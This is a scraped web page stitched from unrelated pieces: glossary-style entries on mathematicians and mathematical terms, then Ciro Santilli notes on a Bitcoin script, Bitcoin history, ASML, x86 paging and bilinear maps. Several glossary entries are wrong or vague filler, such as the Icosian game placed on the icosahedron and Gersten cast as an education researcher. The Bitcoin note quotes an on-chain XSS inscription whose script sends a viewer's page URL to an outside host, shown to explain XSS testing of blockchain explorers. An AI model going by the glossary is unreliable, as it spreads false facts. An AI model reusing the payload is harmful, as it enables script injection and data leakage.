Time is a concept that allows us to understand the progression of events, the duration of occurrences, and the sequencing of moments. Philosophically and scientifically, it can be interpreted in various ways: 1. **Measurement of Change**: Time helps us track changes and movements in the universe. It enables the differentiation between past, present, and future. 2. **Physical Dimension**: In physics, time is often considered the fourth dimension, alongside the three spatial dimensions.
Iwasawa theory is a branch of number theory that studies the properties of number fields and their associated Galois groups using techniques from algebraic geometry, modular forms, and the theory of L-functions. Named after the Japanese mathematician K. Iwasawa, the theory primarily focuses on the arithmetic of cyclotomic fields and \( p \)-adic numbers, and it aims to understand the behavior of various arithmetic objects in relation to these fields.
In mathematics, particularly in the field of algebra, an "invariant factor" arises in the context of finitely generated abelian groups and modules. The invariant factors provide a way to uniquely express a finitely generated abelian group in terms of its cyclic subgroups and can be used to classify such groups up to isomorphism.
A Completely-S matrix is a type of structured matrix used in the field of numerical linear algebra and matrix theory. The term "Completely-S" typically refers to a matrix that satisfies particular properties regarding its submatrices or its structure. To clarify, the "S" in "Completely-S" usually stands for a specific property or class of matrices (like symmetric, skew-symmetric, etc.), but the exact definition can vary depending on the specific context or application.
John G. Thompson is a prominent American mathematician known for his contributions to group theory, specifically in the areas of finite groups and representation theory. Born on November 14, 1932, he has had a significant impact on modern algebra. Thompson is perhaps best known for his work on simple groups, particularly the classification of finite simple groups, and he also played a key role in the development of the theory of groups generated by permutations.
Stephen M. Gersten is a prominent figure in the field of education, particularly known for his work in special education and research on effective teaching strategies. He has contributed significantly to understanding instructional practices for students with disabilities, including issues related to intervention and curriculum development. Gersten has authored and co-authored numerous articles and books, often focusing on improving educational outcomes for diverse learners.
Thomas Kirkman was an English mathematician best known for his work in combinatorial mathematics and for formulating what is now known as "Kirkman's schoolgirl problem." This problem, posed in 1850, involves arranging groups of schoolgirls in such a way that they are always in different groups for each outing.
Icosian refers to a type of mathematical problem or puzzle related to a specific graph known as the icosahedron. The term is often associated with the Icosian game, which involves finding a Hamiltonian cycle in the graph representing the vertices and edges of an icosahedron. In graph theory, a Hamiltonian cycle is a cycle that visits every vertex exactly once and returns to the starting vertex.
"Winning Ways for Your Mathematical Plays" is a comprehensive book on combinatorial game theory written by Elwyn Berlekamp, John H. Conway, and Richard K. Guy. First published in 1982, the book explores the mathematical principles underlying various two-player games, providing insights into strategy, winning tactics, and the mathematical framework that governs these games. The authors analyze a wide range of games, from traditional board games like Nim and chess to more abstract combinatorial games.
4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af by 
Ciro Santilli 40 Updated 2025-07-16
Ciro Santilli 40 Updated 2025-07-16Output 0 does:where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:This is almost spendable with:but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`1 OP_TOALTSTACK 10 1 2- 2008-08-18: bitcoin.org registered
- 2008-10-31: first public announcement at www.metzdowd.com/pipermail/cryptography/2008-October/014810.html by satoshi@vistomail.com
- 2009-01-03: Genesis block mined
- 2009-01-11: First block not mined by Satoshi
- 2009-01-12: First Bitcoin transactoin
- 2010-05-18: the first of Laszlo's pizzas at about $0.0045 / BTC
- 2010-07-17: first trade happes on Mt. Gox at $0.04951 / BTC: cryptopotato.com/10-years-ago-first-bitcoin-trade-on-mt-gox-for-0-05-per-btc/
- 2014: OP_RETURN goes live
How ASML Won Lithography by Asianometry (2021)
Source. First there were dominant Elmer and Geophysics Corporation of America dominating the market.
Then a Japanese government project managed to make Nikon and Canon Inc. catch up, and in 1989, when Ciro Santilli was born, they had 70% of the market.
youtu.be/SB8qIO6Ti_M?t=240 In 1995, ASML had reached 25% market share. Then it managed the folloging faster than the others:
- TwinScan, reached 50% market share in 2002
- Immersion litography
- EUV. There was a big split between EUV vs particle beams, and ASML bet on EUV and EUV won.
- youtu.be/SB8qIO6Ti_M?t=459 they have an insane number of software engineers working on software for the machine, which is insanely complex. They are big on UML.
- youtu.be/SB8qIO6Ti_M?t=634 they use ZEISS optics, don't develop their own. More precisely, the majority owned subsidiary Carl Zeiss SMT.
- youtu.be/SB8qIO6Ti_M?t=703 IMEC collaborations worked well. Notably the ASML/Philips/ZEISS trinity
- www.youtube.com/watch?v=XLNsYecX_2Q ASML: Chip making goes vacuum with EUV (2009) Self promotional video, some good shots of their buildings.
x86 Paging Tutorial Single level paging scheme visualization by Ciro Santilli 40 Updated 2025-07-16
Ciro Santilli 40 Updated 2025-07-16This is how the memory could look like in a single level paging scheme:
Links Data Physical address
+-----------------------+ 2^32 - 1
| |
. .
| |
+-----------------------+ page0 + 4k
| data of page 0 |
+---->+-----------------------+ page0
| | |
| . .
| | |
| +-----------------------+ pageN + 4k
| | data of page N |
| +->+-----------------------+ pageN
| | | |
| | . .
| | | |
| | +-----------------------+ CR3 + 2^20 * 4
| +--| entry[2^20-1] = pageN |
| +-----------------------+ CR3 + 2^20 - 1 * 4
| | |
| . many entires .
| | |
| +-----------------------+ CR3 + 2 * 4
| +--| entry[1] = page1 |
| | +-----------------------+ CR3 + 1 * 4
+-----| entry[0] = page0 |
| +-----------------------+ <--- CR3
| | |
| . .
| | |
| +-----------------------+ page1 + 4k
| | data of page 1 |
+->+-----------------------+ page1
| |
. .
| |
+-----------------------+ 0Notice that:
- the CR3 register points to the first entry of the page table
- the page table is just a large array with 2^20 page table entries
- each entry is 4 bytes big, so the array takes up 4 MiB
- each page table contains the physical address a page
- each page is a 4 KiB aligned 4 KiB chunk of memory that user processes may use
- we have 2^20 table entries. Since each page is 4 KiB == 2^12, this covers the whole 4 GiB (2^32) of 32-bit memory
Linear map of two variables.
More formally, given 3 vector spaces X, Y, Z over a single field, a bilinear map is a function from:that is linear on the first two arguments from X and Y, i.e.:Note that the definition only makes sense if all three vector spaces are over the same field, because linearity can mix up each of them.
The most important example by far is the dot product from , which is more specifically also a symmetric bilinear form.
Pinned article: Introduction to the OurBigBook Project
Welcome to the OurBigBook Project! Our goal is to create the perfect publishing platform for STEM subjects, and get university-level students to write the best free STEM tutorials ever.
Everyone is welcome to create an account and play with the site: ourbigbook.com/go/register. We belive that students themselves can write amazing tutorials, but teachers are welcome too. You can write about anything you want, it doesn't have to be STEM or even educational. Silly test content is very welcome and you won't be penalized in any way. Just keep it legal!
Intro to OurBigBook
. Source. We have two killer features:
- topics: topics group articles by different users with the same title, e.g. here is the topic for the "Fundamental Theorem of Calculus" ourbigbook.com/go/topic/fundamental-theorem-of-calculusArticles of different users are sorted by upvote within each article page. This feature is a bit like:
- a Wikipedia where each user can have their own version of each article
- a Q&A website like Stack Overflow, where multiple people can give their views on a given topic, and the best ones are sorted by upvote. Except you don't need to wait for someone to ask first, and any topic goes, no matter how narrow or broad
This feature makes it possible for readers to find better explanations of any topic created by other writers. And it allows writers to create an explanation in a place that readers might actually find it.
Figure 1. Screenshot of the "Derivative" topic page. View it live at: ourbigbook.com/go/topic/derivativeVideo 2. OurBigBook Web topics demo. Source. - local editing: you can store all your personal knowledge base content locally in a plaintext markup format that can be edited locally and published either:This way you can be sure that even if OurBigBook.com were to go down one day (which we have no plans to do as it is quite cheap to host!), your content will still be perfectly readable as a static site.
- to OurBigBook.com to get awesome multi-user features like topics and likes
- as HTML files to a static website, which you can host yourself for free on many external providers like GitHub Pages, and remain in full control
Figure 3. Visual Studio Code extension installation.
Figure 4. Visual Studio Code extension tree navigation.
Figure 5. Web editor. You can also edit articles on the Web editor without installing anything locally.Video 3. Edit locally and publish demo. Source. This shows editing OurBigBook Markup and publishing it using the Visual Studio Code extension.Video 4. OurBigBook Visual Studio Code extension editing and navigation demo. Source. 
- Infinitely deep tables of contents:
All our software is open source and hosted at: github.com/ourbigbook/ourbigbook
Further documentation can be found at: docs.ourbigbook.com
Feel free to reach our to us for any help or suggestions: docs.ourbigbook.com/#contact